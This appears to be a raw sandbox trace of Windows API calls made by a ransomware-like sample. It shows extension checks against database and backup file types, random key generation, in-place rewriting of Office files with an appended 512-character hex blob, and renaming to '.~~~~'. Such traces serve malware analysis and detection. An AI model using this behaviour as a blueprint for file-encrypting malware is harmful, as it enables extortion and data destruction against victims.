	[0143.509] lstrlenW (lpString=".NDF") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".NDF") returned 0x0
	[0143.509] lstrlenW (lpString=".dat") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dat") returned 0x0
	[0143.509] lstrlenW (lpString=".DBS") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DBS") returned 0x0
	[0143.509] lstrlenW (lpString=".CKP") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".CKP") returned 0x0
	[0143.509] lstrlenW (lpString=".edb") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".edb") returned 0x0
	[0143.509] lstrlenW (lpString=".PST") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".PST") returned 0x0
	[0143.509] lstrlenW (lpString=".dbf") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dbf") returned 0x0
	[0143.509] lstrlenW (lpString=".SQL") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".SQL") returned 0x0
	[0143.509] lstrlenW (lpString=".pst") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".pst") returned 0x0
	[0143.509] lstrlenW (lpString=".dbv") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dbv") returned 0x0
	[0143.509] lstrlenW (lpString=".SDF") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".SDF") returned 0x0
	[0143.509] lstrlenW (lpString=".dtxs") returned 5
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.509] lstrlenW (lpString=".db3") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".db3") returned 0x0
	[0143.510] lstrlenW (lpString=".OST") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".OST") returned 0x0
	[0143.510] lstrlenW (lpString=".dbx") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dbx") returned 0x0
	[0143.510] lstrlenW (lpString=".DB3") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DB3") returned 0x0
	[0143.510] lstrlenW (lpString=".DAT") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DAT") returned 0x0
	[0143.510] lstrlenW (lpString=".VHDX") returned 5
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.510] lstrlenW (lpString=".ndf") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".ndf") returned 0x0
	[0143.510] lstrlenW (lpString=".DB") returned 3
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DB") returned 0x0
	[0143.510] lstrlenW (lpString=".sql") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".sql") returned 0x0
	[0143.510] lstrlenW (lpString=".MYD") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".MYD") returned 0x0
	[0143.510] lstrlenW (lpString=".DBT") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DBT") returned 0x0
	[0143.510] lstrlenW (lpString=".ACCDB") returned 6
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.510] lstrlenW (lpString=".fdb") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".fdb") returned 0x0
	[0143.510] lstrlenW (lpString=".bak") returned 4
	[0143.510] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".bak") returned 0x0
	[0143.511] lstrlenW (lpString=".myd") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".myd") returned 0x0
	[0143.511] lstrlenW (lpString=".DTXS") returned 5
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.511] lstrlenW (lpString=".ckp") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".ckp") returned 0x0
	[0143.511] lstrlenW (lpString=".dbt") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dbt") returned 0x0
	[0143.511] lstrlenW (lpString=".db") returned 3
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".db") returned 0x0
	[0143.511] lstrlenW (lpString=".TXT") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".TXT") returned 0x0
	[0143.511] lstrlenW (lpString=".MDF") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".MDF") returned 0x0
	[0143.511] lstrlenW (lpString=".bdb") returned 4
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".bdb") returned 0x0
	[0143.511] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.511] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.512] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.513] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.513] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26350326556) returned 1
	[0143.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbef344f0, dwHighDateTime=0x1d60e1e)) 
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809f78
	[0143.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809f78 | out: hHeap=0x300000) returned 1
	[0143.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab600
	[0143.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab600 | out: hHeap=0x300000) returned 1
	[0143.514] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.514] GetLastError () returned 0x0
	[0143.515] GetLastError () returned 0x0
	[0143.515] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.515] GetLastError () returned 0x0
	[0143.515] GetLastError () returned 0x0
	[0143.515] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x1b99, lpOverlapped=0x0) returned 1
	[0143.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe467, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.621] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1b99, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b99, lpOverlapped=0x0) returned 1
	[0143.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.622] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.622] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.622] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.622] CloseHandle (hObject=0x114) returned 1
	[0143.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab558
	[0143.622] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif.~~~~")) returned 1
	[0143.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab558 | out: hHeap=0x300000) returned 1
	[0143.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.625] GetLastError () returned 0x0
	[0143.625] RtlWakeConditionVariable () returned 0x0
	[0143.625] GetCurrentThreadId () returned 0xaf0
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".scr") returned 0x0
	[0143.626] lstrlenW (lpString=".cmd") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".cmd") returned 0x0
	[0143.626] lstrlenW (lpString=".dll") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dll") returned 0x0
	[0143.626] lstrlenW (lpString=".bat") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".bat") returned 0x0
	[0143.626] lstrlenW (lpString=".cpl") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".cpl") returned 0x0
	[0143.626] lstrlenW (lpString=".sys") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".sys") returned 0x0
	[0143.626] lstrlenW (lpString=".msc") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".msc") returned 0x0
	[0143.626] lstrlenW (lpString=".com") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".com") returned 0x0
	[0143.626] lstrlenW (lpString=".lnk") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".lnk") returned 0x0
	[0143.626] lstrlenW (lpString=".msp") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".msp") returned 0x0
	[0143.626] lstrlenW (lpString=".pif") returned 4
	[0143.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".pif") returned 0x0
	[0143.626] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.711] lstrlenW (lpString=".sqb") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".sqb") returned 0x0
	[0143.711] lstrlenW (lpString=".ost") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".ost") returned 0x0
	[0143.711] lstrlenW (lpString=".txt") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".txt") returned 0x0
	[0143.711] lstrlenW (lpString=".mdt") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".mdt") returned 0x0
	[0143.711] lstrlenW (lpString=".BDB") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".BDB") returned 0x0
	[0143.711] lstrlenW (lpString=".eql") returned 4
	[0143.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".eql") returned 0x0
	[0143.712] lstrlenW (lpString=".DBF") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DBF") returned 0x0
	[0143.712] lstrlenW (lpString=".EQL") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".EQL") returned 0x0
	[0143.712] lstrlenW (lpString=".FDB") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".FDB") returned 0x0
	[0143.712] lstrlenW (lpString=".EDB") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".EDB") returned 0x0
	[0143.712] lstrlenW (lpString=".DACPAC") returned 7
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.712] lstrlenW (lpString=".VHD") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".VHD") returned 0x0
	[0143.712] lstrlenW (lpString=".DBV") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DBV") returned 0x0
	[0143.712] lstrlenW (lpString=".dacpac") returned 7
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.712] lstrlenW (lpString=".sdf") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".sdf") returned 0x0
	[0143.712] lstrlenW (lpString=".accdb") returned 6
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".accdb") returned 0x0
	[0143.712] lstrlenW (lpString=".DBX") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DBX") returned 0x0
	[0143.712] lstrlenW (lpString=".MDT") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".MDT") returned 0x0
	[0143.712] lstrlenW (lpString=".SQB") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".SQB") returned 0x0
	[0143.712] lstrlenW (lpString=".vhd") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".vhd") returned 0x0
	[0143.712] lstrlenW (lpString=".bac") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".bac") returned 0x0
	[0143.712] lstrlenW (lpString=".mdf") returned 4
	[0143.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".mdf") returned 0x0
	[0143.712] lstrlenW (lpString=".BAK") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".BAK") returned 0x0
	[0143.713] lstrlenW (lpString=".BAC") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".BAC") returned 0x0
	[0143.713] lstrlenW (lpString=".dbs") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dbs") returned 0x0
	[0143.713] lstrlenW (lpString=".vhdx") returned 5
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.713] lstrlenW (lpString=".NDF") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".NDF") returned 0x0
	[0143.713] lstrlenW (lpString=".dat") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dat") returned 0x0
	[0143.713] lstrlenW (lpString=".DBS") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DBS") returned 0x0
	[0143.713] lstrlenW (lpString=".CKP") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".CKP") returned 0x0
	[0143.713] lstrlenW (lpString=".edb") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".edb") returned 0x0
	[0143.713] lstrlenW (lpString=".PST") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".PST") returned 0x0
	[0143.713] lstrlenW (lpString=".dbf") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dbf") returned 0x0
	[0143.713] lstrlenW (lpString=".SQL") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".SQL") returned 0x0
	[0143.713] lstrlenW (lpString=".pst") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".pst") returned 0x0
	[0143.713] lstrlenW (lpString=".dbv") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dbv") returned 0x0
	[0143.713] lstrlenW (lpString=".SDF") returned 4
	[0143.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".SDF") returned 0x0
	[0143.713] lstrlenW (lpString=".dtxs") returned 5
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.714] lstrlenW (lpString=".db3") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".db3") returned 0x0
	[0143.714] lstrlenW (lpString=".OST") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".OST") returned 0x0
	[0143.714] lstrlenW (lpString=".dbx") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".dbx") returned 0x0
	[0143.714] lstrlenW (lpString=".DB3") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DB3") returned 0x0
	[0143.714] lstrlenW (lpString=".DAT") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".DAT") returned 0x0
	[0143.714] lstrlenW (lpString=".VHDX") returned 5
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.714] lstrlenW (lpString=".ndf") returned 4
	[0143.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", lpSrch=".ndf") returned 0x0
